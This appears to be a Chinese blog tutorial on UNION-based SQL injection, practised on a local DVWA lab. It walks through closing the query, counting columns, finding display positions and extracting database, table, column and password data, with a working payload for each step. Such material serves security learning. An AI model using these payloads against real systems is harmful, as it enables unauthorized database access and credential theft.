sql[union]注入学习

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

union注入是一种常见的sql注入类型,通过闭合sql语句来达到union查询。

union注入的前提是页面上必须要有显示位,在一个网站上,服务端执行了sql语句查询了数据库中的的数据,客户端并展示在这个页面中,这个数据我们看到的位置就叫显示位。、

union注入依据下列几个步骤:
1:判断闭合
2:判断列数
3:判断查询显示位
4:获取数据库名
5:获取表名
6:获取字段名
7:查询字段的数据

这里使用本地环境DVWA
在这里插入图片描述
输入1执行正常查询功能

0x00 判断闭合

输入1',出现报错在这里插入图片描述
输入1'#,不报错 /这里的#是sql语句中的注释符号,将原本sql语句符号进行注释/
在这里插入图片描述

原本sql语句可能是

select First name,Surname fron users where ID='1'

输入1’#后实现构造闭合

select First name,Surname fron users where ID='1'#'

0x01 判断列数

这里判断列数使用order by
order by 函数 是对mysql中查询的结果按照指定字段名排序,也可以指定字段的栏位来排序。

输入1' order by 2#正常回显
在这里插入图片描述
输入1' order by 3#报错,表示只有两列
在这里插入图片描述
本地数据库中可以看到
在这里插入图片描述

在这里插入图片描述

0x02 判断查询显示位

如果没有显示位,就无法通过union注入得到数据库中消息

输入-1' union select 1,2#当前面这一个数在数据库中不存在的时候就会只执行后面union查询
在这里插入图片描述
判断出显示位有两个,都可以进行使用。

0x03 获取数据库名

接下来就是一个比较简单的sql语句应用

-1' union select user(),database()#

在这里插入图片描述

0x04 获取表名

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema ='dvwa' #

在这里插入图片描述
这里使用group_concat()函数,将所查询到的表面连接起来

0x05 获取字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

在这里插入图片描述

0x06 查询字段的数据

-1' union select 1,group_concat(password,user) from users#

在这里插入图片描述
这里就得到了用户数据。

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值